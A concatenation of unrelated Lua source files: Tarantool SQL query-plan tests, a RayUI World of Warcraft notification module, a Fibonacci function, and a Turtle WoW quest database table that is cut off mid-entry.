-- EVIDENCE-OF: R-33626-61085 sqlite> EXPLAIN QUERY PLAN
-- SELECT t1.*, t2.* FROM t2, t1 WHERE t1.a=1 AND t1.b>2;
-- 0|0|1|SEARCH TABLE T1 USING COVERING INDEX i2 (a=? AND b>?)
-- 0|1|0|SCAN TABLE T2
--
test:do_eqp_test(5.5, "SELECT t1.a, t2.c FROM t2, t1 WHERE t1.a=1 AND t1.b>2", {
{0, 0, 1, "SEARCH TABLE T1 USING COVERING INDEX I2 (A=? AND B>?)"},
{0, 1, 0, "SCAN TABLE T2"},
})
-- EVIDENCE-OF: R-04002-25654 sqlite> CREATE INDEX i3 ON t1(b);
-- sqlite> EXPLAIN QUERY PLAN SELECT * FROM t1 WHERE a=1 OR b=2;
-- 0|0|0|SEARCH TABLE T1 USING COVERING INDEX i2 (a=?)
-- 0|0|0|SEARCH TABLE T1 USING COVERING INDEX i3 (b=?)
--
test:do_execsql_test(
"5.5.0",
[[
CREATE INDEX i3 ON t1(b)
]])
test:do_eqp_test("5.6.1", "SELECT a, b FROM t1 WHERE a=1 OR b=2", {
-- It is equal for tarantol wheather to use i1 or i2
-- because both of them are covering
--{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I2 (A=?)"},
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
{0, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I3 (B=?)"},
})
-- EVIDENCE-OF: R-24577-38891 sqlite> EXPLAIN QUERY PLAN
-- SELECT c, d FROM t2 ORDER BY c;
-- 0|0|0|SCAN TABLE T2
-- 0|0|0|USE TEMP B-TREE FOR ORDER BY
--
test:do_eqp_test(5.7, "SELECT c, d FROM t2 ORDER BY c", {
{0, 0, 0, "SCAN TABLE T2"},
{0, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
})
-- EVIDENCE-OF: R-58157-12355 sqlite> CREATE INDEX i4 ON t2(c);
-- sqlite> EXPLAIN QUERY PLAN SELECT c, d FROM t2 ORDER BY c;
-- 0|0|0|SCAN TABLE T2 USING COVERING INDEX i4
--
test:do_execsql_test(
"5.8.0",
[[
CREATE INDEX i4 ON t2(c)
]])
test:do_eqp_test("5.8.1", "SELECT c, d FROM t2 ORDER BY c", {
{0, 0, 0, "SCAN TABLE T2 USING COVERING INDEX I4"},
})
-- EVIDENCE-OF: R-13931-10421 sqlite> EXPLAIN QUERY PLAN SELECT
-- (SELECT b FROM t1 WHERE a=0), (SELECT a FROM t1 WHERE b=t2.c) FROM t2;
-- 0|0|0|SCAN TABLE T2
-- 0|0|0|EXECUTE SCALAR SUBQUERY 1
-- 1|0|0|SEARCH TABLE T1 USING COVERING INDEX i2 (a=?)
-- 0|0|0|EXECUTE CORRELATED SCALAR SUBQUERY 2
-- 2|0|0|SEARCH TABLE T1 USING COVERING INDEX i3 (b=?)
--
test:do_eqp_test(5.9, [[
SELECT (SELECT b FROM t1 WHERE a=0), (SELECT a FROM t1 WHERE b=t2.c) FROM t2
]], {
{0, 0, 0, "SCAN TABLE T2"},
{0, 0, 0, "EXECUTE SCALAR SUBQUERY 1"},
-- It is equally for tarantol wheather to use i1 or i2
-- because both of them are covering
--{1, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I2 (A=?)"},
{1, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I1 (A=?)"},
{0, 0, 0, "EXECUTE CORRELATED SCALAR SUBQUERY 2"},
{2, 0, 0, "SEARCH TABLE T1 USING COVERING INDEX I3 (B=?)"},
})
-- EVIDENCE-OF: R-50892-45943 sqlite> EXPLAIN QUERY PLAN
-- SELECT count(*) FROM (SELECT max(b) AS x FROM t1 GROUP BY a) GROUP BY x;
-- 1|0|0|SCAN TABLE T1 USING COVERING INDEX i2
-- 0|0|0|SCAN SUBQUERY 1
-- 0|0|0|USE TEMP B-TREE FOR GROUP BY
--
test:do_eqp_test(5.10, [[
SELECT count(*) FROM (SELECT max(b) AS x FROM t1 GROUP BY a) GROUP BY x
]], {
{1, 0, 0, "SCAN TABLE T1 USING COVERING INDEX I1"},
{0, 0, 0, "SCAN SUBQUERY 1"},
{0, 0, 0, "USE TEMP B-TREE FOR GROUP BY"},
})
-- EVIDENCE-OF: R-46219-33846 sqlite> EXPLAIN QUERY PLAN
-- SELECT * FROM (SELECT * FROM t2 WHERE c=1), t1;
-- 0|0|0|SEARCH TABLE T2 USING COVERING INDEX i4 (c=?)
-- 0|1|1|SCAN TABLE T1
--
test:do_eqp_test(5.11, "SELECT a, b FROM (SELECT * FROM t2 WHERE c=1), t1", {
{0, 0, 0, "SEARCH TABLE T2 USING COVERING INDEX I4 (C=?)"},
{0, 1, 1, "SCAN TABLE T1"},
})
-- EVIDENCE-OF: R-37879-39987 sqlite> EXPLAIN QUERY PLAN
-- SELECT a FROM t1 UNION SELECT c FROM t2;
-- 1|0|0|SCAN TABLE T1
-- 2|0|0|SCAN TABLE T2
-- 0|0|0|COMPOUND SUBQUERIES 1 AND 2 USING TEMP B-TREE (UNION)
--
test:do_eqp_test(5.12, "SELECT a,b FROM t1 UNION SELECT c, 99 FROM t2", {
{1, 0, 0, "SCAN TABLE T1"},
{2, 0, 0, "SCAN TABLE T2"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 USING TEMP B-TREE (UNION)"},
})
-- EVIDENCE-OF: R-44864-63011 sqlite> EXPLAIN QUERY PLAN
-- SELECT a FROM t1 EXCEPT SELECT d FROM t2 ORDER BY 1;
-- 1|0|0|SCAN TABLE T1 USING COVERING INDEX i2
-- 2|0|0|SCAN TABLE T2 2|0|0|USE TEMP B-TREE FOR ORDER BY
-- 0|0|0|COMPOUND SUBQUERIES 1 AND 2 (EXCEPT)
--
test:do_eqp_test(5.13, "SELECT a FROM t1 EXCEPT SELECT d FROM t2 ORDER BY 1", {
{1, 0, 0, "SCAN TABLE T1 USING COVERING INDEX I1"},
{2, 0, 0, "SCAN TABLE T2"},
{2, 0, 0, "USE TEMP B-TREE FOR ORDER BY"},
{0, 0, 0, "COMPOUND SUBQUERIES 1 AND 2 (EXCEPT)"},
})
-- #-------------------------------------------------------------------------
-- # The following tests - eqp-6.* - test that the example C code on
-- # documentation page eqp.html works. The C code is duplicated in test1.c
-- # and wrapped in Tcl command [print_explain_query_plan]
-- #
-- set boilerplate {
-- proc explain_query_plan {db sql} {
-- set stmt [sqlite3_prepare_v2 db $sql -1 DUMMY]
-- print_explain_query_plan $stmt
-- sqlite3_finalize $stmt
-- }
-- sqlite3 db test.db
-- explain_query_plan db {%SQL%}
-- db close
-- exit
-- }
-- # Do a "Print Explain Query Plan" test.
-- proc do_peqp_test {tn sql res} {
-- set fd [open script.tcl w]
-- puts $fd [string map [list %SQL% $sql] $::boilerplate]
-- close $fd
-- uplevel do_test $tn [list {
-- set fd [open "|[info nameofexec] script.tcl"]
-- set data [read $fd]
-- close $fd
-- set data
-- }] [list $res]
-- }
-- do_peqp_test 6.1 {
-- SELECT a, b FROM t1 EXCEPT SELECT d, 99 FROM t2 ORDER BY 1
-- } [string trimleft {
-- 1 0 0 SCAN TABLE T1 USING COVERING INDEX i2
-- 2 0 0 SCAN TABLE T2
-- 2 0 0 USE TEMP B-TREE FOR ORDER BY
-- 0 0 0 COMPOUND SUBQUERIES 1 AND 2 (EXCEPT)
-- }]
---------------------------------------------------------------------------
-- The following tests - eqp-7.* - test that queries that use the OP_Count
-- optimization return something sensible with EQP.
--
test:drop_all_tables()
test:do_execsql_test(
7.0,
[[
CREATE TABLE t1(idt1 INT primary key, a INT, b INT, ex CHAR(100));
CREATE TABLE t2(idt2 INT primary key, a INT, b INT, ex CHAR(100));
CREATE INDEX i1 ON t2(a);
]])
test:do_eqp_test(7.1, "SELECT count(*) FROM t1", {
{0, 0, 0, "B+tree count T1"},
})
test:do_eqp_test(7.2, "SELECT count(*) FROM t2", {
{0, 0, 0, "B+tree count T2"},
})
-- MUST_WORK_TEST
if (0 > 0)
then
test:do_execsql_test(
7.3,
[[
INSERT INTO t1(a,b) VALUES(1, 2);
INSERT INTO t1(a,b) VALUES(3, 4);
INSERT INTO t2(a,b) VALUES(1, 2);
INSERT INTO t2(a,b) VALUES(3, 4);
INSERT INTO t2(a,b) VALUES(5, 6);
ANALYZE;
]])
--db("close")
--sqlite3("db", "test.db")
test:do_eqp_test(7.4, "SELECT count(*) FROM t1", {
{0, 0, 0, "SCAN TABLE T1"}
})
test:do_eqp_test(7.5, "SELECT count(*) FROM t2", {
{0, 0, 0, "SCAN TABLE T2 USING COVERING INDEX I1"}
})
---------------------------------------------------------------------------
--The following tests - eqp-8.* - test that queries that use the OP_Count
--optimization return something sensible with EQP.
end
test:drop_all_tables()
test:do_execsql_test(
8.0,
[[
CREATE TABLE t1(a INT , b INT , c INT , PRIMARY KEY(b, c));
CREATE TABLE t2(id INT primary key, a INT , b INT , c INT );
]])
test:do_eqp_test("8.1.1", "SELECT * FROM t2", {
{0, 0, 0, "SCAN TABLE T2"},
})
-- test:do_eqp_test 8.1.2 "SELECT * FROM t2 WHERE rowid=?" {
-- {0, 0, 0, "SEARCH TABLE T2 USING INTEGER PRIMARY KEY (rowid=?)"},
-- }
test:do_eqp_test("8.1.3", "SELECT count(*) FROM t2", {
{0, 0, 0, "B+tree count T2"},
})
test:do_eqp_test("8.2.1", "SELECT * FROM t1", {
{0, 0, 0, "SCAN TABLE T1"},
})
test:do_eqp_test("8.2.2", "SELECT * FROM t1 WHERE b=?", {
{0, 0, 0, "SEARCH TABLE T1 USING PRIMARY KEY (B=?)"},
})
test:do_eqp_test("8.2.3", "SELECT * FROM t1 WHERE b=? AND c=?", {
{0, 0, 0, "SEARCH TABLE T1 USING PRIMARY KEY (B=? AND C=?)"},
})
test:do_eqp_test("8.2.4", "SELECT count(*) FROM t1", {
{0, 0, 0, "B+tree count T1"},
})
test:finish_test()
|
-- Notification from FreeUI
----------------------------------------------------------
-- Load RayUI Environment
----------------------------------------------------------
RayUI:LoadEnv("Notification")
local NF = R:NewModule("Notification", "AceEvent-3.0", "AceHook-3.0")
local S = R.Skins
_Notification = NF
local bannerWidth = 300
local max_active_toasts = 3
local fadeout_delay = 5
local toasts = {}
local activeToasts = {}
local queuedToasts = {}
local anchorFrame
function NF:SpawnToast(toast)
if not toast then return end
if #activeToasts >= max_active_toasts then
table.insert(queuedToasts, toast)
return false
end
if UnitIsAFK("player") then
table.insert(queuedToasts, toast)
self:RegisterEvent("PLAYER_FLAGS_CHANGED")
return false
end
local YOffset = 0
if R:GetScreenQuadrant(anchorFrame):find("TOP") then
YOffset = -54
else
YOffset = 54
end
toast:ClearAllPoints()
if #activeToasts > 0 then
if R:GetScreenQuadrant(anchorFrame):find("TOP") then
toast:SetPoint("TOP", activeToasts[#activeToasts], "BOTTOM", 0, -4 - YOffset)
else
toast:SetPoint("BOTTOM", activeToasts[#activeToasts], "TOP", 0, 4 - YOffset)
end
else
toast:SetPoint("TOP", anchorFrame, "TOP", 0, 1 - YOffset)
end
table.insert(activeToasts, toast)
toast:Show()
toast.AnimIn.AnimMove:SetOffset(0, YOffset)
toast.AnimOut.AnimMove:SetOffset(0, -YOffset)
toast.AnimIn:Play()
toast.AnimOut:Play()
PlaySound(18019)
end
function NF:RefreshToasts()
for i = 1, #activeToasts do
local activeToast = activeToasts[i]
local YOffset, _ = 0
if activeToast.AnimIn.AnimMove:IsPlaying() then
_, YOffset = activeToast.AnimIn.AnimMove:GetOffset()
end
if activeToast.AnimOut.AnimMove:IsPlaying() then
_, YOffset = activeToast.AnimOut.AnimMove:GetOffset()
end
activeToast:ClearAllPoints()
if i == 1 then
activeToast:SetPoint("TOP", anchorFrame, "TOP", 0, 1 - YOffset)
else
if R:GetScreenQuadrant(anchorFrame):find("TOP") then
activeToast:SetPoint("TOP", activeToasts[i - 1], "BOTTOM", 0, -4 - YOffset)
else
activeToast:SetPoint("BOTTOM", activeToasts[i - 1], "TOP", 0, 4 - YOffset)
end
end
end
local queuedToast = table.remove(queuedToasts, 1)
if queuedToast then
self:SpawnToast(queuedToast)
end
end
function NF:HideToast(toast)
for i, activeToast in pairs(activeToasts) do
if toast == activeToast then
table.remove(activeToasts, i)
end
end
table.insert(toasts, toast)
toast:Hide()
C_Timer.After(0.1, function() self:RefreshToasts() end)
end
local function ToastButtonAnimOut_OnFinished(self)
NF:HideToast(self:GetParent())
end
function NF:GetToast()
local toast = table.remove(toasts, 1)
if not toast then
toast = CreateFrame("Frame", nil, R.UIParent)
toast:SetFrameStrata("FULLSCREEN_DIALOG")
toast:SetSize(bannerWidth, 50)
toast:SetPoint("TOP", R.UIParent, "TOP")
toast:Hide()
S:CreateBD(toast)
local icon = toast:CreateTexture(nil, "OVERLAY")
icon:SetSize(32, 32)
icon:SetPoint("LEFT", toast, "LEFT", 9, 0)
S:CreateBG(icon)
toast.icon = icon
local sep = toast:CreateTexture(nil, "BACKGROUND")
sep:SetSize(1, 50)
sep:SetPoint("LEFT", icon, "RIGHT", 9, 0)
sep:SetColorTexture(0, 0, 0)
local title = toast:CreateFontString(nil, "OVERLAY")
title:SetFont(R["media"].font, 14)
title:SetShadowOffset(1, -1)
title:SetPoint("TOPLEFT", sep, "TOPRIGHT", 9, -9)
title:SetPoint("RIGHT", toast, -9, 0)
title:SetJustifyH("LEFT")
toast.title = title
local text = toast:CreateFontString(nil, "OVERLAY")
text:SetFont(R["media"].font, 12)
text:SetShadowOffset(1, -1)
text:SetPoint("BOTTOMLEFT", sep, "BOTTOMRIGHT", 9, 9)
text:SetPoint("RIGHT", toast, -9, 0)
text:SetJustifyH("LEFT")
toast.text = text
toast.AnimIn = CreateAnimationGroup(toast)
local animInAlpha = toast.AnimIn:CreateAnimation("Fade")
animInAlpha:SetOrder(1)
animInAlpha:SetChange(1)
animInAlpha:SetDuration(0.5)
toast.AnimIn.AnimAlpha = animInAlpha
local animInMove = toast.AnimIn:CreateAnimation("Move")
animInMove:SetOrder(1)
animInMove:SetDuration(0.5)
animInMove:SetSmoothing("Out")
animInMove:SetOffset(-bannerWidth, 0)
toast.AnimIn.AnimMove = animInMove
toast.AnimOut = CreateAnimationGroup(toast)
local animOutSleep = toast.AnimOut:CreateAnimation("Sleep")
animOutSleep:SetOrder(1)
animOutSleep:SetDuration(fadeout_delay)
toast.AnimOut.AnimSleep = animOutSleep
local animOutAlpha = toast.AnimOut:CreateAnimation("Fade")
animOutAlpha:SetOrder(2)
animOutAlpha:SetChange(0)
animOutAlpha:SetDuration(0.5)
toast.AnimOut.AnimAlpha = animOutAlpha
local animOutMove = toast.AnimOut:CreateAnimation("Move")
animOutMove:SetOrder(2)
animOutMove:SetDuration(0.5)
animOutMove:SetSmoothing("In")
animOutMove:SetOffset(bannerWidth, 0)
toast.AnimOut.AnimMove = animOutMove
toast.AnimOut.AnimAlpha:SetScript("OnFinished", ToastButtonAnimOut_OnFinished)
toast:SetScript("OnEnter", function(self)
self.AnimOut:Stop()
end)
toast:SetScript("OnLeave", function(self)
self.AnimOut:Play()
end)
toast:SetScript("OnMouseUp", function(self, button)
if button == "LeftButton" and self.clickFunc then
self.clickFunc()
end
end)
end
return toast
end
function NF:DisplayToast(name, message, clickFunc, texture, ...)
local toast = self:GetToast()
if type(clickFunc) == "function" then
toast.clickFunc = clickFunc
else
toast.clickFunc = nil
end
if type(texture) == "string" then
toast.icon:SetTexture(texture)
if ... then
toast.icon:SetTexCoord(...)
else
toast.icon:SetTexCoord(.08, .92, .08, .92)
end
else
toast.icon:SetTexture("Interface\\Icons\\achievement_general")
toast.icon:SetTexCoord(.08, .92, .08, .92)
end
toast.title:SetText(name)
toast.text:SetText(message)
self:SpawnToast(toast)
end
function NF:PLAYER_FLAGS_CHANGED(event)
self:UnregisterEvent(event)
for i = 1, max_active_toasts - #activeToasts do
self:RefreshToasts()
end
end
function NF:PLAYER_REGEN_ENABLED()
for i = 1, max_active_toasts - #activeToasts do
self:RefreshToasts()
end
end
-- Test function
local function testCallback()
R:Print("Banner clicked!")
end
SlashCmdList.TESTNOTIFICATION = function(b)
NF:DisplayToast("RayUI", "This is an example of a notification.", testCallback, b == "true" and "INTERFACE\\ICONS\\SPELL_FROST_ARCTICWINDS" or nil, .08, .92, .08, .92)
end
_G.SLASH_TESTNOTIFICATION1 = "/testnotification"
function NF:Initialize()
anchorFrame = CreateFrame("Frame", nil, R.UIParent)
anchorFrame:SetSize(bannerWidth, 50)
anchorFrame:SetPoint("TOP", 0, -10)
R:CreateMover(anchorFrame, "Notification Mover", L["通知锚点"], true, nil, "ALL,GENERAL")
self:RegisterEvent("UPDATE_PENDING_MAIL")
self:RegisterEvent("PLAYER_REGEN_ENABLED")
self:RegisterEvent("CALENDAR_UPDATE_PENDING_INVITES")
self:RegisterEvent("CALENDAR_UPDATE_GUILD_EVENTS")
self:RegisterEvent("PLAYER_ENTERING_WORLD")
self:RegisterEvent("VIGNETTE_MINIMAP_UPDATED")
self:RegisterEvent("RESURRECT_REQUEST")
self:RegisterEvent("UPDATE_INVENTORY_DURABILITY")
end
local hasMail = false
function NF:UPDATE_PENDING_MAIL()
local newMail = HasNewMail()
if hasMail ~= newMail then
hasMail = newMail
if hasMail then
self:DisplayToast(MAIL_LABEL, HAVE_MAIL, nil, "Interface\\Icons\\inv_letter_15", .08, .92, .08, .92)
end
end
end
local showRepair = true
local Slots = {
[1] = {1, INVTYPE_HEAD, 1000},
[2] = {3, INVTYPE_SHOULDER, 1000},
[3] = {5, INVTYPE_ROBE, 1000},
[4] = {6, INVTYPE_WAIST, 1000},
[5] = {9, INVTYPE_WRIST, 1000},
[6] = {10, INVTYPE_HAND, 1000},
[7] = {7, INVTYPE_LEGS, 1000},
[8] = {8, INVTYPE_FEET, 1000},
[9] = {16, INVTYPE_WEAPONMAINHAND, 1000},
[10] = {17, INVTYPE_WEAPONOFFHAND, 1000},
[11] = {18, INVTYPE_RANGED, 1000}
}
local function ResetRepairNotification()
showRepair = true
end
function NF:UPDATE_INVENTORY_DURABILITY()
local current, max
for i = 1, 11 do
if GetInventoryItemLink("player", Slots[i][1]) ~= nil then
current, max = GetInventoryItemDurability(Slots[i][1])
if current then
Slots[i][3] = current/max
end
end
end
table.sort(Slots, function(a, b) return a[3] < b[3] end)
local value = floor(Slots[1][3]*100)
if showRepair and value < 20 then
showRepair = false
R:Delay(30, ResetRepairNotification)
self:DisplayToast(MINIMAP_TRACKING_REPAIR, format(L["你的%s栏位需要修理, 当前耐久为%d."],Slots[1][2],value))
end
end
local numInvites = 0
local function GetGuildInvites()
local numGuildInvites = 0
local currentMonth = (C_Calendar.GetDate()).month
for i = 1, C_Calendar.GetNumGuildEvents() do
local month, day = C_Calendar.GetGuildEventInfo(i)
local monthOffset = month - currentMonth
local numDayEvents = C_Calendar.GetNumDayEvents(monthOffset, day)
for i = 1, numDayEvents do
local _, _, _, _, _, _, _, _, inviteStatus = C_Calendar.GetDayEvent(monthOffset, day, i)
if inviteStatus == 8 then
numGuildInvites = numGuildInvites + 1
end
end
end
return numGuildInvites
end
local function toggleCalendar()
if not CalendarFrame then LoadAddOn("Blizzard_Calendar") end
Calendar_Toggle()
end
local function alertEvents()
if CalendarFrame and CalendarFrame:IsShown() then return end
local num = C_Calendar.GetNumInvites()
if num ~= numInvites then
if num > 1 then
NF:DisplayToast(CALENDAR, format(L["你有%s个未处理的活动邀请."], num), toggleCalendar)
elseif num > 0 then
NF:DisplayToast(CALENDAR, format(L["你有%s个未处理的活动邀请."], 1), toggleCalendar)
end
numInvites = num
end
end
local function alertGuildEvents()
if CalendarFrame and CalendarFrame:IsShown() then return end
local num = GetGuildInvites()
if num > 1 then
NF:DisplayToast(CALENDAR, format(L["你有%s个未处理的公会活动邀请."], num), toggleCalendar)
elseif num > 0 then
NF:DisplayToast(CALENDAR, format(L["你有%s个未处理的公会活动邀请."], 1), toggleCalendar)
end
end
function NF:CALENDAR_UPDATE_PENDING_INVITES()
alertEvents()
alertGuildEvents()
end
function NF:CALENDAR_UPDATE_GUILD_EVENTS()
alertGuildEvents()
end
local function LoginCheck()
alertEvents()
alertGuildEvents()
local day = (C_Calendar.GetDate()).monthDay
local numDayEvents = C_Calendar.GetNumDayEvents(0, day)
local monthInfo = C_Calendar.GetMonthInfo()
local numDays = monthInfo.numDays
local hournow, minutenow = GetGameTime()
-- Today
for i = 1, numDayEvents do
local title, hour, minute, calendarType, sequenceType, eventType, texture, modStatus, inviteStatus, invitedBy, difficulty, inviteType = C_Calendar.GetDayEvent(0, day, i)
if calendarType == "HOLIDAY" and ( sequenceType == "END" or sequenceType == "" ) and hournow < hour then
NF:DisplayToast(CALENDAR, format(L["活动\"%s\"今天结束."], title), toggleCalendar)
end
if calendarType == "HOLIDAY" and sequenceType == "START" and hournow > hour then
NF:DisplayToast(CALENDAR, format(L["活动\"%s\"今天开始."], title), toggleCalendar)
end
if calendarType == "HOLIDAY" and sequenceType == "ONGOING" then
NF:DisplayToast(CALENDAR, format(L["活动\"%s\"正在进行."], title), toggleCalendar)
end
end
--Tomorrow
local offset = 0
if numDays == day then
offset = 1
day = 1
else
day = day + 1
end
numDayEvents = C_Calendar.GetNumDayEvents(offset, day)
for i = 1, numDayEvents do
local title, hour, minute, calendarType, sequenceType, eventType, texture, modStatus, inviteStatus, invitedBy, difficulty, inviteType = C_Calendar.GetDayEvent(offset, day, i)
if calendarType == "HOLIDAY" and ( sequenceType == "END" or sequenceType == "" ) then
NF:DisplayToast(CALENDAR, format(L["活动\"%s\"明天结束."], title), toggleCalendar)
end
end
end
function NF:PLAYER_ENTERING_WORLD()
C_Timer.After(7, LoginCheck)
self:UnregisterEvent("PLAYER_ENTERING_WORLD")
end
local isIgnored = {
[1153] = true, -- 部落要塞
[1159] = true, -- 联盟要塞
[1803] = true, -- 涌泉海滩
}
local cache = {}
function NF:VIGNETTE_MINIMAP_UPDATED(event, vignetteInstanceID)
local instID = select(8, GetInstanceInfo())
if isIgnored[instID] then return end
if id and not cache[id] then
local info = C_VignetteInfo.GetVignetteInfo(id)
if not info then return end
local filename, width, height, txLeft, txRight, txTop, txBottom = GetAtlasInfo(info.atlasName)
if not filename then return end
local atlasWidth = width/(txRight-txLeft)
local atlasHeight = height/(txBottom-txTop)
local tex = string.format("|T%s:%d:%d:0:0:%d:%d:%d:%d:%d:%d|t", filename, 0, 0, atlasWidth, atlasHeight, atlasWidth*txLeft, atlasWidth*txRight, atlasHeight*txTop, atlasHeight*txBottom)
PlaySoundFile("Sound\\Interface\\PVPFlagTakenMono.ogg", "master")
self:DisplayToast("发现稀有", name)
cache[id] = true
end
end
function NF:RESURRECT_REQUEST(name)
PlaySound(SOUNDKIT.READY_CHECK)
end
R:RegisterModule(NF:GetName())
|
--- Compute the n-th fibonacci number.
function fib(n)
local a, b = 0, 1
for i = 0, (n - 1) do
a, b = b, b + a
end
return a
end
|
pfDB["quests"]["data-turtle"] = {
-- Seeping Corruption remake
[3568] = {
["start"] = {
["U"] = { 8390 },
},
["end"] = {
["U"] = { 8390 },
},
["obj"] = {
["A"] = { 10691, 10692, 10693, 10694 },
},
["race"] = 178,
["lvl"] = 52,
["min"] = 45,
["next"] = { 3569 },
},
-- Puffing Peace
[40001] = {
["start"] = {
["U"] = { 60300 },
},
["end"] = {
["U"] = { 3185 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 8,
["next"] = { 40002 },
},
-- Grand Herbal Theft
[40002] = {
["start"] = {
["U"] = { 3185 },
},
["end"] = {
["U"] = { 60300 },
},
["obj"] = {
["I"] = { 60000 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 8,
["next"] = { 40003 },
["pre"] = { 40001 },
},
-- Hookah For Your Troubles
[40003] = {
["start"] = {
["U"] = { 60300 },
},
["end"] = {
["U"] = { 60300 },
},
["obj"] = {
["O"] = { 2010700 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 8,
["pre"] = { 40001, 40002 },
},
-- Titiki's Hunt
[40014] = {
["start"] = {
["U"] = { 91415 },
},
["end"] = {
["U"] = { 91415 },
},
["obj"] = {
["I"] = { 60109 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 28,
["next"] = { 40015 },
},
-- The Hunt for Heketh
[40015] = {
["start"] = {
["U"] = { 91415 },
},
["end"] = {
["U"] = { 91415 },
},
["obj"] = {
["U"] = { 91791 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 28,
["pre"] = { 40014 },
},
-- Gortog's Beads
[40016] = {
["start"] = {
["U"] = { 91412 },
},
["end"] = {
["U"] = { 91412 },
},
["obj"] = {
["I"] = { 60108 },
},
["race"] = 178,
["lvl"] = 34,
["min"] = 25,
},
-- Preparing for War
[40017] = {
["start"] = {
["U"] = { 91400 },
},
["end"] = {
["U"] = { 91400 },
},
["obj"] = {
["I"] = { 60119 },
},
["race"] = 178,
["lvl"] = 35,
["min"] = 25,
},
-- War on the Witherbark
[40018] = {
["start"] = {
["U"] = { 91401 },
},
["end"] = {
["U"] = { 91401 },
},
["obj"] = {
["U"] = { 91784, 91786, 91785 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 30,
},
-- The Wildtusk Charms
[40019] = {
["start"] = {
["U"] = { 91402 },
},
["end"] = {
["U"] = { 91402 },
},
["obj"] = {
["I"] = { 60120 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 25,
},
-- The Chief's Necklace
[40020] = {
["start"] = {
["U"] = { 91290 },
},
["end"] = {
["U"] = { 91290 },
},
["obj"] = {
["I"] = { 60121 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 25,
},
-- The Speaker's Betrayal
[40021] = {
["start"] = {
["U"] = { 91290 },
},
["end"] = {
["U"] = { 91290 },
},
["obj"] = {
["I"] = { 60122 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 30,
["next"] = { 40022 },
},
-- The Witherbark Warleader
[40022] = {
["start"] = {
["U"] = { 91290 },
},
["end"] = {
["U"] = { 91290 },
},
["obj"] = {
["I"] = { 60123 },
},
["race"] = 178,
["lvl"] = 40,
["min"] = 30,
["pre"] = { 40021 },
},
-- Assisting Lord Rog
[40023] = {
["start"] = {
["U"] = { 91411 },
},
["end"] = {
["U"] = { 91289 },
},
["race"] = 178,
["lvl"] = 40,
["min"] = 30,
["next"] = { 40024 },
},
-- Lord Rog's Exiles
[40024] = {
["start"] = {
["U"] = { 91289 },
},
["end"] = {
["U"] = { 91289 },
},
["obj"] = {
["I"] = { 60125 },
},
["race"] = 178,
["lvl"] = 40,
["min"] = 30,
["pre"] = { 40023 },
["next"] = { 40025 },
},
-- Inner Binding Purification
[40025] = {
["start"] = {
["U"] = { 91289 },
},
["end"] = {
["U"] = { 91411 },
},
["obj"] = {
["I"] = { 3357, 7912, 3355 },
},
["race"] = 178,
["lvl"] = 40,
["min"] = 30,
["pre"] = { 40024 },
["next"] = { 40026 },
},
-- Lord Rog's Favor
[40026] = {
["start"] = {
["U"] = { 91411 },
},
["end"] = {
["U"] = { 91289 },
},
["race"] = 178,
["lvl"] = 40,
["min"] = 30,
["pre"] = { 40025 },
},
-- The Sanv Charm
[40027] = {
["start"] = {
["U"] = { 91781 },
},
["end"] = {
["U"] = { 91781 },
},
["obj"] = {
["I"] = { 60127 },
},
["lvl"] = 39,
["min"] = 30,
["next"] = { 40032 },
},
-- The Horn of Garek'sa
[40028] = {
["start"] = {
["U"] = { 91796 },
},
["end"] = {
["U"] = { 91796 },
},
["obj"] = {
["I"] = { 60128 },
},
["lvl"] = 36,
["min"] = 30,
},
-- Hunting the Hunters
[40029] = {
["start"] = {
["U"] = { 1776 },
},
["end"] = {
["U"] = { 1776 },
},
["obj"] = {
["U"] = { 759, 760 },
},
["lvl"] = 36,
["min"] = 30,
["next"] = { 40030 },
},
-- Hunting the Hunters
[40030] = {
["start"] = {
["U"] = { 1776 },
},
["end"] = {
["U"] = { 1776 },
},
["obj"] = {
["I"] = { 60130 },
},
["lvl"] = 36,
["min"] = 30,
["pre"] = { 40029 },
},
-- Leather, a Draenic Luxury
[40031] = {
["start"] = {
["U"] = { 11874 },
},
["end"] = {
["U"] = { 11874 },
},
["obj"] = {
["I"] = { 60133 },
},
["lvl"] = 35,
["min"] = 30,
},
-- Draenic Communication
[40032] = {
["start"] = {
["U"] = { 91781 },
},
["end"] = {
["U"] = { 91781 },
},
["obj"] = {
["I"] = { 60134, 60135 },
},
["lvl"] = 39,
["min"] = 30,
["pre"] = { 40027 },
["next"] = { 40033 },
},
-- Finding Akh Z'ador
[40033] = {
["start"] = {
["U"] = { 91781 },
},
["end"] = {
["U"] = { 91782 },
},
["lvl"] = 52,
["min"] = 30,
["pre"] = { 40032 },
},
-- Sorrowmoss Mushrooms!
[40077] = {
["start"] = {
["U"] = { 92022 },
},
["end"] = {
["U"] = { 92022 },
},
["obj"] = {
["I"] = { 60171 },
},
["race"] = 77,
["lvl"] = 37,
["min"] = 30
},
-- Into the Uplands
[40080] = {
["start"] = {
["U"] = { 6739 },
},
["end"] = {
["U"] = { 91713 },
},
["obj"] = {
["I"] = { 60374 },
},
["race"] = 178,
["lvl"] = 15,
["min"] = 10,
},
-- Pesterhide Pests
[40081] = {
["start"] = {
["U"] = { 91752 },
},
["end"] = {
["U"] = { 91752 },
},
["obj"] = {
["I"] = { 60375 },
},
["race"] = 178,
["lvl"] = 17,
["min"] = 11,
["next"] = { 40082 },
},
-- Pestering the Pesterhide
[40082] = {
["start"] = {
["U"] = { 91752 },
},
["end"] = {
["U"] = { 91752 },
},
["obj"] = {
["I"] = { 60376, 60377 },
},
["race"] = 178,
["lvl"] = 20,
["min"] = 11,
["pre"] = { 40081 },
},
-- A Friend in Glenshire
[40086] = {
["start"] = {
["U"] = { 4556 },
},
["end"] = {
["U"] = { 91728 },
},
["obj"] = {
["I"] = { 60382 },
},
